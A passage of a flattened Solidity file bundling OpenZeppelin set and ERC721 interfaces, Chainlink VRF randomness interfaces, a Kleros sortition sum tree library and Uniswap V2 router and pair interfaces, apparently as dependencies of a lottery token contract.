* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value)
internal
view
returns (bool)
{
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index)
internal
view
returns (bytes32)
{
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set)
internal
view
returns (bytes32[] memory)
{
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value)
internal
returns (bool)
{
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value)
internal
returns (bool)
{
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value)
internal
view
returns (bool)
{
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index)
internal
view
returns (address)
{
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set)
internal
view
returns (address[] memory)
{
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value)
internal
returns (bool)
{
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value)
internal
view
returns (bool)
{
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index)
internal
view
returns (uint256)
{
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set)
internal
view
returns (uint256[] memory)
{
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId)
external
view
returns (address operator);
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: contracts/IPermissions.sol
pragma solidity ^0.8.0;
interface IPermissions {
function isWhitelisted(address user) external view returns (bool);
function buyLimit(address user) external view returns (uint256);
}
// File: @chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol
pragma solidity ^0.8.0;
/** ****************************************************************************
* @notice Interface for contracts using VRF randomness
* *****************************************************************************
* @dev PURPOSE
*
* @dev Reggie the Random Oracle (not his real job) wants to provide randomness
* @dev to Vera the verifier in such a way that Vera can be sure he's not
* @dev making his output up to suit himself. Reggie provides Vera a public key
* @dev to which he knows the secret key. Each time Vera provides a seed to
* @dev Reggie, he gives back a value which is computed completely
* @dev deterministically from the seed and the secret key.
*
* @dev Reggie provides a proof by which Vera can verify that the output was
* @dev correctly computed once Reggie tells it to her, but without that proof,
* @dev the output is indistinguishable to her from a uniform random sample
* @dev from the output space.
*
* @dev The purpose of this contract is to make it easy for unrelated contracts
* @dev to talk to Vera the verifier about the work Reggie is doing, to provide
* @dev simple access to a verifiable source of randomness. It ensures 2 things:
* @dev 1. The fulfillment came from the VRFCoordinator
* @dev 2. The consumer contract implements fulfillRandomWords.
* *****************************************************************************
* @dev USAGE
*
* @dev Calling contracts must inherit from VRFConsumerBase, and can
* @dev initialize VRFConsumerBase's attributes in their constructor as
* @dev shown:
*
* @dev contract VRFConsumer {
* @dev constructor(<other arguments>, address _vrfCoordinator, address _link)
* @dev VRFConsumerBase(_vrfCoordinator) public {
* @dev <initialization with other arguments goes here>
* @dev }
* @dev }
*
* @dev The oracle will have given you an ID for the VRF keypair they have
* @dev committed to (let's call it keyHash). Create subscription, fund it
* @dev and your consumer contract as a consumer of it (see VRFCoordinatorInterface
* @dev subscription management functions).
* @dev Call requestRandomWords(keyHash, subId, minimumRequestConfirmations,
* @dev callbackGasLimit, numWords),
* @dev see (VRFCoordinatorInterface for a description of the arguments).
*
* @dev Once the VRFCoordinator has received and validated the oracle's response
* @dev to your request, it will call your contract's fulfillRandomWords method.
*
* @dev The randomness argument to fulfillRandomWords is a set of random words
* @dev generated from your requestId and the blockHash of the request.
*
* @dev If your contract could have concurrent requests open, you can use the
* @dev requestId returned from requestRandomWords to track which response is associated
* @dev with which randomness request.
* @dev See "SECURITY CONSIDERATIONS" for principles to keep in mind,
* @dev if your contract could have multiple requests in flight simultaneously.
*
* @dev Colliding `requestId`s are cryptographically impossible as long as seeds
* @dev differ.
*
* *****************************************************************************
* @dev SECURITY CONSIDERATIONS
*
* @dev A method with the ability to call your fulfillRandomness method directly
* @dev could spoof a VRF response with any random value, so it's critical that
* @dev it cannot be directly called by anything other than this base contract
* @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method).
*
* @dev For your users to trust that your contract's random behavior is free
* @dev from malicious interference, it's best if you can write it so that all
* @dev behaviors implied by a VRF response are executed *during* your
* @dev fulfillRandomness method. If your contract must store the response (or
* @dev anything derived from it) and use it later, you must ensure that any
* @dev user-significant behavior which depends on that stored value cannot be
* @dev manipulated by a subsequent VRF request.
*
* @dev Similarly, both miners and the VRF oracle itself have some influence
* @dev over the order in which VRF responses appear on the blockchain, so if
* @dev your contract could have multiple VRF requests in flight simultaneously,
* @dev you must ensure that the order in which the VRF responses arrive cannot
* @dev be used to manipulate your contract's user-significant behavior.
*
* @dev Since the block hash of the block which contains the requestRandomness
* @dev call is mixed into the input to the VRF *last*, a sufficiently powerful
* @dev miner could, in principle, fork the blockchain to evict the block
* @dev containing the request, forcing the request to be included in a
* @dev different block with a different hash, and therefore a different input
* @dev to the VRF. However, such an attack would incur a substantial economic
* @dev cost. This cost scales with the number of blocks the VRF oracle waits
* @dev until it calls responds to a request. It is for this reason that
* @dev that you can signal to an oracle you'd like them to wait longer before
* @dev responding to the request (however this is not enforced in the contract
* @dev and so remains effective only in the case of unmodified oracle software).
*/
abstract contract VRFConsumerBaseV2 {
error OnlyCoordinatorCanFulfill(address have, address want);
address private immutable vrfCoordinator;
/**
* @param _vrfCoordinator address of VRFCoordinator contract
*/
constructor(address _vrfCoordinator) {
vrfCoordinator = _vrfCoordinator;
}
/**
* @notice fulfillRandomness handles the VRF response. Your contract must
* @notice implement it. See "SECURITY CONSIDERATIONS" above for important
* @notice principles to keep in mind when implementing your fulfillRandomness
* @notice method.
*
* @dev VRFConsumerBaseV2 expects its subcontracts to have a method with this
* @dev signature, and will call it once it has verified the proof
* @dev associated with the randomness. (It is triggered via a call to
* @dev rawFulfillRandomness, below.)
*
* @param requestId The Id initially returned by requestRandomness
* @param randomWords the VRF output expanded to the requested number of words
*/
function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords)
internal
virtual;
// rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF
// proof. rawFulfillRandomness then calls fulfillRandomness, after validating
// the origin of the call
function rawFulfillRandomWords(
uint256 requestId,
uint256[] memory randomWords
) external {
if (msg.sender != vrfCoordinator) {
revert OnlyCoordinatorCanFulfill(msg.sender, vrfCoordinator);
}
fulfillRandomWords(requestId, randomWords);
}
}
// File: @chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol
pragma solidity ^0.8.0;
interface VRFCoordinatorV2Interface {
/**
* @notice Get configuration relevant for making requests
* @return minimumRequestConfirmations global min for request confirmations
* @return maxGasLimit global max for request gas limit
* @return s_provingKeyHashes list of registered key hashes
*/
function getRequestConfig()
external
view
returns (
uint16,
uint32,
bytes32[] memory
);
/**
* @notice Request a set of random words.
* @param keyHash - Corresponds to a particular oracle job which uses
* that key for generating the VRF proof. Different keyHash's have different gas price
* ceilings, so you can select a specific one to bound your maximum per request cost.
* @param subId - The ID of the VRF subscription. Must be funded
* with the minimum subscription balance required for the selected keyHash.
* @param minimumRequestConfirmations - How many blocks you'd like the
* oracle to wait before responding to the request. See SECURITY CONSIDERATIONS
* for why you may want to request more. The acceptable range is
* [minimumRequestBlockConfirmations, 200].
* @param callbackGasLimit - How much gas you'd like to receive in your
* fulfillRandomWords callback. Note that gasleft() inside fulfillRandomWords
* may be slightly less than this amount because of gas used calling the function
* (argument decoding etc.), so you may need to request slightly more than you expect
* to have inside fulfillRandomWords. The acceptable range is
* [0, maxGasLimit]
* @param numWords - The number of uint256 random values you'd like to receive
* in your fulfillRandomWords callback. Note these numbers are expanded in a
* secure way by the VRFCoordinator from a single random value supplied by the oracle.
* @return requestId - A unique identifier of the request. Can be used to match
* a request to a response in fulfillRandomWords.
*/
function requestRandomWords(
bytes32 keyHash,
uint64 subId,
uint16 minimumRequestConfirmations,
uint32 callbackGasLimit,
uint32 numWords
) external returns (uint256 requestId);
/**
* @notice Create a VRF subscription.
* @return subId - A unique subscription id.
* @dev You can manage the consumer set dynamically with addConsumer/removeConsumer.
* @dev Note to fund the subscription, use transferAndCall. For example
* @dev LINKTOKEN.transferAndCall(
* @dev address(COORDINATOR),
* @dev amount,
* @dev abi.encode(subId));
*/
function createSubscription() external returns (uint64 subId);
/**
* @notice Get a VRF subscription.
* @param subId - ID of the subscription
* @return balance - LINK balance of the subscription in juels.
* @return reqCount - number of requests for this subscription, determines fee tier.
* @return owner - owner of the subscription.
* @return consumers - list of consumer address which are able to use this subscription.
*/
function getSubscription(uint64 subId)
external
view
returns (
uint96 balance,
uint64 reqCount,
address owner,
address[] memory consumers
);
/**
* @notice Request subscription owner transfer.
* @param subId - ID of the subscription
* @param newOwner - proposed new owner of the subscription
*/
function requestSubscriptionOwnerTransfer(uint64 subId, address newOwner)
external;
/**
* @notice Request subscription owner transfer.
* @param subId - ID of the subscription
* @dev will revert if original owner of subId has
* not requested that msg.sender become the new owner.
*/
function acceptSubscriptionOwnerTransfer(uint64 subId) external;
/**
* @notice Add a consumer to a VRF subscription.
* @param subId - ID of the subscription
* @param consumer - New consumer which can use the subscription
*/
function addConsumer(uint64 subId, address consumer) external;
/**
* @notice Remove a consumer from a VRF subscription.
* @param subId - ID of the subscription
* @param consumer - Consumer to remove from the subscription
*/
function removeConsumer(uint64 subId, address consumer) external;
/**
* @notice Cancel a subscription
* @param subId - ID of the subscription
* @param to - Where to send the remaining LINK to
*/
function cancelSubscription(uint64 subId, address to) external;
}
// File: @chainlink/contracts/src/v0.8/interfaces/LinkTokenInterface.sol
pragma solidity ^0.8.0;
interface LinkTokenInterface {
function allowance(address owner, address spender)
external
view
returns (uint256 remaining);
function approve(address spender, uint256 value)
external
returns (bool success);
function balanceOf(address owner) external view returns (uint256 balance);
function decimals() external view returns (uint8 decimalPlaces);
function decreaseApproval(address spender, uint256 addedValue)
external
returns (bool success);
function increaseApproval(address spender, uint256 subtractedValue)
external;
function name() external view returns (string memory tokenName);
function symbol() external view returns (string memory tokenSymbol);
function totalSupply() external view returns (uint256 totalTokensIssued);
function transfer(address to, uint256 value)
external
returns (bool success);
function transferAndCall(
address to,
uint256 value,
bytes calldata data
) external returns (bool success);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool success);
}
// File: contracts/SortitionSumTreeFactory.sol
/**
* @authors: [@epiqueras]
* @reviewers: [@clesaege, @unknownunknown1, @ferittuncer, @remedcu, @shalzz]
* @auditors: []
* @bounties: [{ duration: 28 days, link: https://github.com/kleros/kleros/issues/115, maxPayout: 50 ETH }]
* @deployments: [ https://etherscan.io/address/0x180eba68d164c3f8c3f6dc354125ebccf4dfcb86 ]
*/
pragma solidity ^0.8.6;
library SortitionSumTreeFactory {
/* Structs */
struct SortitionSumTree {
uint256 K; // The maximum number of childs per node.
// We use this to keep track of vacant positions in the tree after removing a leaf. This is for keeping the tree as balanced as possible without spending gas on moving nodes around.
uint256[] stack;
uint256[] nodes;
// Two-way mapping of IDs to node indexes. Note that node index 0 is reserved for the root node, and means the ID does not have a node.
mapping(bytes32 => uint256) IDsToNodeIndexes;
mapping(uint256 => bytes32) nodeIndexesToIDs;
}
/* Storage */
struct SortitionSumTrees {
mapping(bytes32 => SortitionSumTree) sortitionSumTrees;
}
/* internal */
/**
* @dev Create a sortition sum tree at the specified key.
* @param _key The key of the new tree.
* @param _K The number of children each node in the tree should have.
*/
function createTree(
SortitionSumTrees storage self,
bytes32 _key,
uint256 _K
) internal {
SortitionSumTree storage tree = self.sortitionSumTrees[_key];
require(tree.K == 0, "Tree already exists.");
require(_K > 1, "K must be greater than one.");
tree.K = _K;
tree.stack = new uint256[](0);
tree.nodes = new uint256[](0);
tree.nodes.push(0);
}
/**
* @dev Set a value of a tree.
* @param _key The key of the tree.
* @param _value The new value.
* @param _ID The ID of the value.
* `O(log_k(n))` where
* `k` is the maximum number of childs per node in the tree,
* and `n` is the maximum number of nodes ever appended.
*/
function set(
SortitionSumTrees storage self,
bytes32 _key,
uint256 _value,
bytes32 _ID
) internal {
SortitionSumTree storage tree = self.sortitionSumTrees[_key];
uint256 treeIndex = tree.IDsToNodeIndexes[_ID];
if (treeIndex == 0) {
// No existing node.
if (_value != 0) {
// Non zero value.
// Append.
// Add node.
if (tree.stack.length == 0) {
// No vacant spots.
// Get the index and append the value.
treeIndex = tree.nodes.length;
tree.nodes.push(_value);
// Potentially append a new node and make the parent a sum node.
if (treeIndex != 1 && (treeIndex - 1) % tree.K == 0) {
// Is first child.
uint256 parentIndex = treeIndex / tree.K;
bytes32 parentID = tree.nodeIndexesToIDs[parentIndex];
uint256 newIndex = treeIndex + 1;
tree.nodes.push(tree.nodes[parentIndex]);
delete tree.nodeIndexesToIDs[parentIndex];
tree.IDsToNodeIndexes[parentID] = newIndex;
tree.nodeIndexesToIDs[newIndex] = parentID;
}
} else {
// Some vacant spot.
// Pop the stack and append the value.
treeIndex = tree.stack[tree.stack.length - 1];
tree.stack.pop();
tree.nodes[treeIndex] = _value;
}
// Add label.
tree.IDsToNodeIndexes[_ID] = treeIndex;
tree.nodeIndexesToIDs[treeIndex] = _ID;
updateParents(self, _key, treeIndex, true, _value);
}
} else {
// Existing node.
if (_value == 0) {
// Zero value.
// Remove.
// Remember value and set to 0.
uint256 value = tree.nodes[treeIndex];
tree.nodes[treeIndex] = 0;
// Push to stack.
tree.stack.push(treeIndex);
// Clear label.
delete tree.IDsToNodeIndexes[_ID];
delete tree.nodeIndexesToIDs[treeIndex];
updateParents(self, _key, treeIndex, false, value);
} else if (_value != tree.nodes[treeIndex]) {
// New, non zero value.
// Set.
bool plusOrMinus = tree.nodes[treeIndex] <= _value;
uint256 plusOrMinusValue = plusOrMinus
? _value - tree.nodes[treeIndex]
: tree.nodes[treeIndex] - _value;
tree.nodes[treeIndex] = _value;
updateParents(
self,
_key,
treeIndex,
plusOrMinus,
plusOrMinusValue
);
}
}
}
/* internal Views */
/**
* @dev Query the leaves of a tree. Note that if `startIndex == 0`, the tree is empty and the root node will be returned.
* @param _key The key of the tree to get the leaves from.
* @param _cursor The pagination cursor.
* @param _count The number of items to return.
* @return startIndex The index at which leaves start
* @return values The values of the returned leaves
* @return hasMore Whether there are more for pagination.
* `O(n)` where
* `n` is the maximum number of nodes ever appended.
*/
function queryLeafs(
SortitionSumTrees storage self,
bytes32 _key,
uint256 _cursor,
uint256 _count
)
internal
view
returns (
uint256 startIndex,
uint256[] memory values,
bool hasMore
)
{
SortitionSumTree storage tree = self.sortitionSumTrees[_key];
// Find the start index.
for (uint256 i = 0; i < tree.nodes.length; i++) {
if ((tree.K * i) + 1 >= tree.nodes.length) {
startIndex = i;
break;
}
}
// Get the values.
uint256 loopStartIndex = startIndex + _cursor;
values = new uint256[](
loopStartIndex + _count > tree.nodes.length
? tree.nodes.length - loopStartIndex
: _count
);
uint256 valuesIndex = 0;
for (uint256 j = loopStartIndex; j < tree.nodes.length; j++) {
if (valuesIndex < _count) {
values[valuesIndex] = tree.nodes[j];
valuesIndex++;
} else {
hasMore = true;
break;
}
}
}
/**
* @dev Draw an ID from a tree using a number. Note that this function reverts if the sum of all values in the tree is 0.
* @param _key The key of the tree.
* @param _drawnNumber The drawn number.
* @return ID The drawn ID.
* `O(k * log_k(n))` where
* `k` is the maximum number of childs per node in the tree,
* and `n` is the maximum number of nodes ever appended.
*/
function draw(
SortitionSumTrees storage self,
bytes32 _key,
uint256 _drawnNumber
) internal view returns (bytes32 ID) {
SortitionSumTree storage tree = self.sortitionSumTrees[_key];
uint256 treeIndex = 0;
uint256 currentDrawnNumber = _drawnNumber % tree.nodes[0];
while (
(tree.K * treeIndex) + 1 < tree.nodes.length // While it still has children.
)
for (uint256 i = 1; i <= tree.K; i++) {
// Loop over children.
uint256 nodeIndex = (tree.K * treeIndex) + i;
uint256 nodeValue = tree.nodes[nodeIndex];
if (currentDrawnNumber >= nodeValue)
currentDrawnNumber -= nodeValue; // Go to the next child.
else {
// Pick this child.
treeIndex = nodeIndex;
break;
}
}
ID = tree.nodeIndexesToIDs[treeIndex];
}
/** @dev Gets a specified ID's associated value.
* @param _key The key of the tree.
* @param _ID The ID of the value.
* @return value The associated value.
*/
function stakeOf(
SortitionSumTrees storage self,
bytes32 _key,
bytes32 _ID
) internal view returns (uint256 value) {
SortitionSumTree storage tree = self.sortitionSumTrees[_key];
uint256 treeIndex = tree.IDsToNodeIndexes[_ID];
if (treeIndex == 0) value = 0;
else value = tree.nodes[treeIndex];
}
function total(SortitionSumTrees storage self, bytes32 _key)
internal
view
returns (uint256)
{
SortitionSumTree storage tree = self.sortitionSumTrees[_key];
if (tree.nodes.length == 0) {
return 0;
} else {
return tree.nodes[0];
}
}
/* Private */
/**
* @dev Update all the parents of a node.
* @param _key The key of the tree to update.
* @param _treeIndex The index of the node to start from.
* @param _plusOrMinus Wether to add (true) or substract (false).
* @param _value The value to add or substract.
* `O(log_k(n))` where
* `k` is the maximum number of childs per node in the tree,
* and `n` is the maximum number of nodes ever appended.
*/
function updateParents(
SortitionSumTrees storage self,
bytes32 _key,
uint256 _treeIndex,
bool _plusOrMinus,
uint256 _value
) private {
SortitionSumTree storage tree = self.sortitionSumTrees[_key];
uint256 parentIndex = _treeIndex;
while (parentIndex != 0) {
parentIndex = (parentIndex - 1) / tree.K;
tree.nodes[parentIndex] = _plusOrMinus
? tree.nodes[parentIndex] + _value
: tree.nodes[parentIndex] - _value;
}
}
}
// File: contracts/ILottery.sol
pragma solidity ^0.8.7;
interface ILottery {
function getBalance(address staker) external view returns (uint256 balance);
}
// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol
pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
// File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
